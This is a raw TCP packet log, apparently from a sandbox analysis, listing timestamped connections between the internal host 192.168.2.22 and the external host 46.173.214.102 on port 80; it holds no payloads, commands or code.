Oct 28, 2024 16:02:31.210350990 CET	49264	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:31.210496902 CET	49264	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:31.215858936 CET	80	49264	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:31.849745035 CET	80	49264	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:31.849922895 CET	49264	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:31.850028992 CET	49264	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:31.855401993 CET	80	49264	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:31.953236103 CET	49265	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:31.958729982 CET	80	49265	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:31.958803892 CET	49265	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:31.959029913 CET	49265	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:31.964332104 CET	80	49265	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:32.621340990 CET	80	49265	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:32.621402025 CET	49265	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:32.621480942 CET	49265	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:32.626966000 CET	80	49265	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:32.717838049 CET	49266	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:32.723490000 CET	80	49266	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:32.723592997 CET	49266	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:32.723701000 CET	49266	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:32.729779005 CET	80	49266	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:33.376514912 CET	80	49266	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:33.376594067 CET	49266	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:33.477880001 CET	49266	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:33.483480930 CET	80	49266	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:33.708164930 CET	49267	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:33.713776112 CET	80	49267	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:33.713848114 CET	49267	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:33.715864897 CET	49267	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:33.721236944 CET	80	49267	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:34.376899004 CET	80	49267	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:34.376966000 CET	49267	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:34.671762943 CET	49267	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:34.677167892 CET	80	49267	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:34.777434111 CET	49268	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:34.784159899 CET	80	49268	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:34.784223080 CET	49268	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:34.822983980 CET	49268	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:34.828325987 CET	80	49268	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:35.423362970 CET	80	49268	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:35.423511028 CET	49268	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:35.423511028 CET	49268	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:35.429361105 CET	80	49268	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:35.546614885 CET	49269	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:35.552397013 CET	80	49269	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:35.552697897 CET	49269	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:35.552697897 CET	49269	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:35.558204889 CET	80	49269	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:36.187963963 CET	80	49269	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:36.188317060 CET	49269	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:36.188317060 CET	49269	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:36.193861961 CET	80	49269	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:36.292057991 CET	49270	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:36.297657967 CET	80	49270	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:36.297863007 CET	49270	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:36.297983885 CET	49270	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:36.303443909 CET	80	49270	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:36.953798056 CET	80	49270	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:36.953944921 CET	49270	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:36.973061085 CET	49270	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:36.978626013 CET	80	49270	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:37.166022062 CET	49271	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:37.171734095 CET	80	49271	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:37.171824932 CET	49271	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:37.191828966 CET	49271	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:37.197350025 CET	80	49271	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:37.726665020 CET	49271	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:37.834722996 CET	49272	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:37.840209961 CET	80	49272	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:37.840290070 CET	49272	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:37.840435982 CET	49272	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:37.845877886 CET	80	49272	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:38.479497910 CET	80	49272	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:38.479583025 CET	49272	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:38.479667902 CET	49272	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:38.485002995 CET	80	49272	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:38.583508968 CET	49273	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:38.589068890 CET	80	49273	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:38.589178085 CET	49273	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:38.589380980 CET	49273	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:38.594758034 CET	80	49273	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:38.909905910 CET	49273	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:39.029424906 CET	49274	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:39.034990072 CET	80	49274	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:39.035161018 CET	49274	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:39.035330057 CET	49274	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:39.040636063 CET	80	49274	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:39.681448936 CET	80	49274	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:39.681521893 CET	49274	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:39.681675911 CET	49274	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:39.686999083 CET	80	49274	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:39.787302017 CET	49275	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:39.792968988 CET	80	49275	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:39.793051004 CET	49275	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:39.794770956 CET	49275	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:39.800313950 CET	80	49275	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:40.426271915 CET	80	49275	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:40.426408052 CET	49275	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:40.427217960 CET	49275	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:40.432585001 CET	80	49275	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:40.697770119 CET	49276	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:40.703665972 CET	80	49276	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:40.706087112 CET	49276	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:40.767995119 CET	49276	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:40.773732901 CET	80	49276	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:41.203512907 CET	49276	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:41.331080914 CET	49277	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:41.337677002 CET	80	49277	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:41.338304996 CET	49277	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:41.338479996 CET	49277	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:41.343806982 CET	80	49277	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:41.980129004 CET	80	49277	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:41.980187893 CET	49277	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:41.980259895 CET	49277	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:41.986282110 CET	80	49277	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:42.087501049 CET	49278	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:42.093067884 CET	80	49278	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:42.093199015 CET	49278	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:42.093355894 CET	49278	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:42.098647118 CET	80	49278	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:42.757438898 CET	80	49278	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:42.757518053 CET	49278	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:42.757596970 CET	49278	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:42.763346910 CET	80	49278	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:42.857855082 CET	49279	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:42.863476038 CET	80	49279	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:42.863554001 CET	49279	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:42.863751888 CET	49279	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:42.869541883 CET	80	49279	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:43.512721062 CET	80	49279	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:43.513101101 CET	49279	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:43.514450073 CET	49279	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:43.520020008 CET	80	49279	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:43.648377895 CET	49280	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:43.653983116 CET	80	49280	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:43.657085896 CET	49280	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:43.664784908 CET	49280	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:43.671200991 CET	80	49280	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:44.297008991 CET	80	49280	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:44.297123909 CET	49280	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:44.297224998 CET	49280	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:44.302516937 CET	80	49280	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:44.430607080 CET	49281	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:44.637048960 CET	80	49281	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:44.637131929 CET	49281	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:44.637675047 CET	49281	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:44.643069029 CET	80	49281	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:45.306504965 CET	80	49281	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:45.306616068 CET	49281	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:45.306679010 CET	49281	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:45.312320948 CET	80	49281	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:45.416115046 CET	49282	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:45.421669006 CET	80	49282	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:45.421735048 CET	49282	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:45.421885967 CET	49282	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:45.427208900 CET	80	49282	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:46.088691950 CET	80	49282	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:46.091053963 CET	49282	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:46.269177914 CET	49282	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:46.274718046 CET	80	49282	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:46.449158907 CET	49283	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:46.456394911 CET	80	49283	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:46.459067106 CET	49283	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:46.466135979 CET	49283	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:46.472225904 CET	80	49283	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:47.109544039 CET	80	49283	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:47.109616995 CET	49283	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:47.109694958 CET	49283	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:47.115227938 CET	80	49283	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:47.212547064 CET	49284	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:47.218281984 CET	80	49284	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:47.219177961 CET	49284	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:47.219177961 CET	49284	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:47.224735975 CET	80	49284	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:47.854491949 CET	80	49284	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:47.854576111 CET	49284	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:47.854659081 CET	49284	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:47.860147953 CET	80	49284	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:47.960103989 CET	49285	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:47.965595007 CET	80	49285	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:47.965651035 CET	49285	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:47.965871096 CET	49285	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:47.971256971 CET	80	49285	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:48.627945900 CET	80	49285	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:48.628025055 CET	49285	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:48.628094912 CET	49285	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:48.633469105 CET	80	49285	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:48.723649025 CET	49286	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:48.729055882 CET	80	49286	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:48.729331970 CET	49286	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:48.729455948 CET	49286	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:48.734847069 CET	80	49286	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:49.374739885 CET	80	49286	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:49.374824047 CET	49286	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:49.384807110 CET	49286	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:49.390264988 CET	80	49286	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:49.528091908 CET	49287	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:49.534354925 CET	80	49287	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:49.534425020 CET	49287	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:49.541256905 CET	49287	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:49.546838045 CET	80	49287	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:50.175775051 CET	80	49287	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:50.175842047 CET	49287	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:50.175929070 CET	49287	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:50.181595087 CET	80	49287	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:50.283689976 CET	49288	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:50.289530039 CET	80	49288	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:50.289593935 CET	49288	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:50.289815903 CET	49288	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:50.295412064 CET	80	49288	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:50.948980093 CET	80	49288	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:50.949043036 CET	49288	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:50.949131012 CET	49288	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:50.955326080 CET	80	49288	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:51.048171043 CET	49289	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:51.053694963 CET	80	49289	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:51.053844929 CET	49289	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:51.053977013 CET	49289	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:51.059374094 CET	80	49289	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:51.688527107 CET	80	49289	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:51.688853025 CET	49289	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:51.688853025 CET	49289	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:51.694289923 CET	80	49289	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:51.798763990 CET	49290	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:51.804325104 CET	80	49290	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:51.804476023 CET	49290	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:51.804625988 CET	49290	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:51.810025930 CET	80	49290	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:52.467396021 CET	80	49290	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:52.467482090 CET	49290	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:52.479024887 CET	49290	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:52.484426975 CET	80	49290	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:52.658194065 CET	49291	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:52.663861990 CET	80	49291	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:52.663943052 CET	49291	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:53.045945883 CET	49291	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:53.052339077 CET	80	49291	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:53.303071022 CET	80	49291	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:53.303123951 CET	49291	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:53.303245068 CET	49291	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:53.308640957 CET	80	49291	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:53.403235912 CET	49292	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:53.408710003 CET	80	49292	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:53.408751011 CET	49292	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:53.408906937 CET	49292	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:53.414232016 CET	80	49292	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:54.048480034 CET	80	49292	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:54.048641920 CET	49292	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:54.048747063 CET	49292	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:54.054229021 CET	80	49292	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:54.152448893 CET	49293	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:54.158232927 CET	80	49293	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:54.158343077 CET	49293	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:54.158504009 CET	49293	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:54.163897991 CET	80	49293	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:54.837783098 CET	80	49293	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:54.838099003 CET	49293	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:54.838099003 CET	49293	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:54.843497992 CET	80	49293	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:54.948019981 CET	49294	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:54.953497887 CET	80	49294	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:54.953917980 CET	49294	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:54.953917980 CET	49294	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:54.959368944 CET	80	49294	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:55.594561100 CET	80	49294	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:55.594650984 CET	49294	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:55.606872082 CET	49294	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:55.612508059 CET	80	49294	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:55.795423031 CET	49295	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:55.800916910 CET	80	49295	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:55.800977945 CET	49295	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:55.804593086 CET	49295	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:55.810561895 CET	80	49295	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:56.468681097 CET	80	49295	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:56.471148014 CET	49295	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:56.498622894 CET	49295	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:56.503974915 CET	80	49295	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:56.602278948 CET	49296	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:56.607739925 CET	80	49296	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:56.607816935 CET	49296	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:56.608033895 CET	49296	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:56.613310099 CET	80	49296	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:57.264672995 CET	80	49296	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:57.264751911 CET	49296	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:57.264816999 CET	49296	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:57.270245075 CET	80	49296	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:57.365777969 CET	49297	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:57.371225119 CET	80	49297	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:57.371284962 CET	49297	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:57.371469975 CET	49297	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:57.376713037 CET	80	49297	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:58.005523920 CET	80	49297	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:58.005697012 CET	49297	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:58.005763054 CET	49297	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:58.012414932 CET	80	49297	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:58.114475012 CET	49298	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:58.119930029 CET	80	49298	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:58.119991064 CET	49298	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:58.120152950 CET	49298	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:58.125725031 CET	80	49298	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:58.771274090 CET	80	49298	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:58.773736000 CET	49298	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:58.806107998 CET	49298	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:58.811772108 CET	80	49298	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:58.950154066 CET	49299	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:58.956470013 CET	80	49299	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:58.957431078 CET	49299	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:58.963347912 CET	49299	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:58.968856096 CET	80	49299	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:59.605432034 CET	80	49299	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:59.605489016 CET	49299	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:59.605591059 CET	49299	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:59.610886097 CET	80	49299	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:59.706104040 CET	49300	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:59.711515903 CET	80	49300	46.173.214.102	192.168.2.22
Oct 28, 2024 16:02:59.711565971 CET	49300	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:59.711761951 CET	49300	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:02:59.717065096 CET	80	49300	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:00.362770081 CET	80	49300	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:00.363115072 CET	49300	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:00.363204002 CET	49300	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:00.368489027 CET	80	49300	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:00.470293045 CET	49301	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:00.668812037 CET	80	49301	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:00.668982029 CET	49301	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:00.669256926 CET	49301	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:00.676939011 CET	80	49301	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:01.309263945 CET	80	49301	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:01.309413910 CET	49301	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:01.309510946 CET	49301	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:01.315059900 CET	80	49301	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:01.406377077 CET	49302	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:01.411880970 CET	80	49302	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:01.411936998 CET	49302	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:01.412143946 CET	49302	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:01.417736053 CET	80	49302	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:02.054738045 CET	80	49302	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:02.054788113 CET	49302	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:02.331628084 CET	49302	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:02.338665009 CET	80	49302	46.173.214.102	192.168.2.22
